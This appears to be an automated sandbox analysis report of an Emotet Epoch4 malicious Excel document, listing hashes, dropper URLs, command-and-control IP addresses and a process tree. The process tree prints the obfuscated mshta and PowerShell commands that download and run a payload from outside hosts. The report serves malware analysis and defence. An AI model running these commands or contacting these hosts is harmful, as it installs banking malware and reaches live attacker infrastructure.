emotet | 8a07b30e84df7c4db85691e055e4f39fb78621392b7a282b3b64d13a675e14b1

General

Target

TOP-010122 HTGW-210122.xls
Size

70KB
MD5

54a404bdf97dec3861e86661501de08f
SHA1

d265c805ce856e563e54b014495ac663c9181d3c
SHA256

8a07b30e84df7c4db85691e055e4f39fb78621392b7a282b3b64d13a675e14b1
SHA512

09a4bcb74c1018711277aea44df07a25b751903bf97b27ecb16e30acfb9563219ec1c0f3d654095e8f8bc14224dcbd5247b8520bdb13fdb2ee7740049a647bc8

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3260	2944	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

23 1260 mshta.exe
34 1508 powershell.exe
36 1508 powershell.exe
40 1960 rundll32.exe
42 1960 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1524 rundll32.exe
2324 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Uwdgtrmkc\dnyu.bml rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1504 1260 WerFault.exe mshta.exe

flow	pid	process
23	1260	mshta.exe
34	1508	powershell.exe
36	1508	powershell.exe
40	1960	rundll32.exe
42	1960	rundll32.exe

pid	process
1524	rundll32.exe
2324	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Uwdgtrmkc\dnyu.bml	rundll32.exe

pid	pid_target	process	target process
1504	1260	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2944 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
1508	powershell.exe
1508	powershell.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
1508	powershell.exe
1960	rundll32.exe
1960	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 1508 powershell.exe
Token: SeDebugPrivilege 1504 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	1508	powershell.exe
Token: SeDebugPrivilege	1504	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2944	EXCEL.EXE
2944	EXCEL.EXE
2944	EXCEL.EXE
2944	EXCEL.EXE
2944	EXCEL.EXE
2944	EXCEL.EXE
2944	EXCEL.EXE
2944	EXCEL.EXE
2944	EXCEL.EXE
2944	EXCEL.EXE
2944	EXCEL.EXE
2944	EXCEL.EXE
2944	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2944 wrote to memory of 3260	2944	EXCEL.EXE	cmd.exe
PID 2944 wrote to memory of 3260	2944	EXCEL.EXE	cmd.exe
PID 3260 wrote to memory of 1260	3260	cmd.exe	mshta.exe
PID 3260 wrote to memory of 1260	3260	cmd.exe	mshta.exe
PID 1260 wrote to memory of 1508	1260	mshta.exe	powershell.exe
PID 1260 wrote to memory of 1508	1260	mshta.exe	powershell.exe
PID 1508 wrote to memory of 1108	1508	powershell.exe	cmd.exe
PID 1508 wrote to memory of 1108	1508	powershell.exe	cmd.exe
PID 1108 wrote to memory of 1524	1108	cmd.exe	rundll32.exe
PID 1108 wrote to memory of 1524	1108	cmd.exe	rundll32.exe
PID 1108 wrote to memory of 1524	1108	cmd.exe	rundll32.exe
PID 1524 wrote to memory of 2324	1524	rundll32.exe	rundll32.exe
PID 1524 wrote to memory of 2324	1524	rundll32.exe	rundll32.exe
PID 1524 wrote to memory of 2324	1524	rundll32.exe	rundll32.exe
PID 2324 wrote to memory of 1944	2324	rundll32.exe	rundll32.exe
PID 2324 wrote to memory of 1944	2324	rundll32.exe	rundll32.exe
PID 2324 wrote to memory of 1944	2324	rundll32.exe	rundll32.exe
PID 1944 wrote to memory of 1960	1944	rundll32.exe	rundll32.exe
PID 1944 wrote to memory of 1960	1944	rundll32.exe	rundll32.exe
PID 1944 wrote to memory of 1960	1944	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\TOP-010122 HTGW-210122.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2944
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3260
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1260
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1508
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1108
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1524
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2324
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Uwdgtrmkc\dnyu.bml",KtFPDyKDKDaaaDu
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1944
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Uwdgtrmkc\dnyu.bml",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1960
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1260 -s 1648
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1504

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\ssd.dll

MD5
5fc018538b34e891e67d7ccd6a6f5169

SHA1
f23a6451bdaf70ae014a4286b12e28f265bfe52d

SHA256
8187fdab6cf2ae48adace0a38973b64d2164aeddd5ee27eca0c55f5f8683bfaf

SHA512
066bf4475e852212bc2e7b24b38afbc42d49b8bbb00b6b69ec9845a9da5751e17fd961358daba946a24a5d61760fd32e0e7aff4c38c9f6297753ed2fe7a92301

Download Submit
\Users\Public\Documents\ssd.dll

MD5
5fc018538b34e891e67d7ccd6a6f5169

SHA1
f23a6451bdaf70ae014a4286b12e28f265bfe52d

SHA256
8187fdab6cf2ae48adace0a38973b64d2164aeddd5ee27eca0c55f5f8683bfaf

SHA512
066bf4475e852212bc2e7b24b38afbc42d49b8bbb00b6b69ec9845a9da5751e17fd961358daba946a24a5d61760fd32e0e7aff4c38c9f6297753ed2fe7a92301

Download Submit
\Users\Public\Documents\ssd.dll

MD5
5fc018538b34e891e67d7ccd6a6f5169

SHA1
f23a6451bdaf70ae014a4286b12e28f265bfe52d

SHA256
8187fdab6cf2ae48adace0a38973b64d2164aeddd5ee27eca0c55f5f8683bfaf

SHA512
066bf4475e852212bc2e7b24b38afbc42d49b8bbb00b6b69ec9845a9da5751e17fd961358daba946a24a5d61760fd32e0e7aff4c38c9f6297753ed2fe7a92301

Download Submit
memory/1508-272-0x000002DBA04A0000-0x000002DBA04A2000-memory.dmp

Filesize
8KB

Download
memory/1508-273-0x000002DBA05B0000-0x000002DBA05D2000-memory.dmp

Filesize
136KB

Download
memory/1508-274-0x000002DBA04A3000-0x000002DBA04A5000-memory.dmp

Filesize
8KB

Download
memory/1508-293-0x000002DBA0A80000-0x000002DBA0ABC000-memory.dmp

Filesize
240KB

Download
memory/1508-305-0x000002DBB9230000-0x000002DBB92A6000-memory.dmp

Filesize
472KB

Download
memory/1508-310-0x000002DBA04A6000-0x000002DBA04A8000-memory.dmp

Filesize
8KB

Download
memory/1524-320-0x0000000000E00000-0x0000000000E26000-memory.dmp

Filesize
152KB

Download
memory/1944-338-0x0000000004C50000-0x0000000004C76000-memory.dmp

Filesize
152KB

Download
memory/1960-341-0x0000000004E10000-0x0000000004E36000-memory.dmp

Filesize
152KB

Download
memory/1960-339-0x0000000003550000-0x0000000003576000-memory.dmp

Filesize
152KB

Download
memory/2324-337-0x00000000053E0000-0x0000000005406000-memory.dmp

Filesize
152KB

Download
memory/2324-334-0x0000000005280000-0x00000000052A6000-memory.dmp

Filesize
152KB

Download
memory/2324-332-0x0000000005220000-0x0000000005246000-memory.dmp

Filesize
152KB

Download
memory/2324-330-0x00000000050B0000-0x00000000050D6000-memory.dmp

Filesize
152KB

Download
memory/2324-326-0x00000000049C0000-0x00000000049E6000-memory.dmp

Filesize
152KB

Download
memory/2944-116-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/2944-118-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/2944-117-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/2944-115-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/2944-127-0x00007FF7E1700000-0x00007FF7E1710000-memory.dmp

Filesize
64KB

Download
memory/2944-129-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/2944-128-0x00007FF7E1700000-0x00007FF7E1710000-memory.dmp

Filesize
64KB

Download
memory/2944-378-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/2944-379-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/2944-380-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/2944-381-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads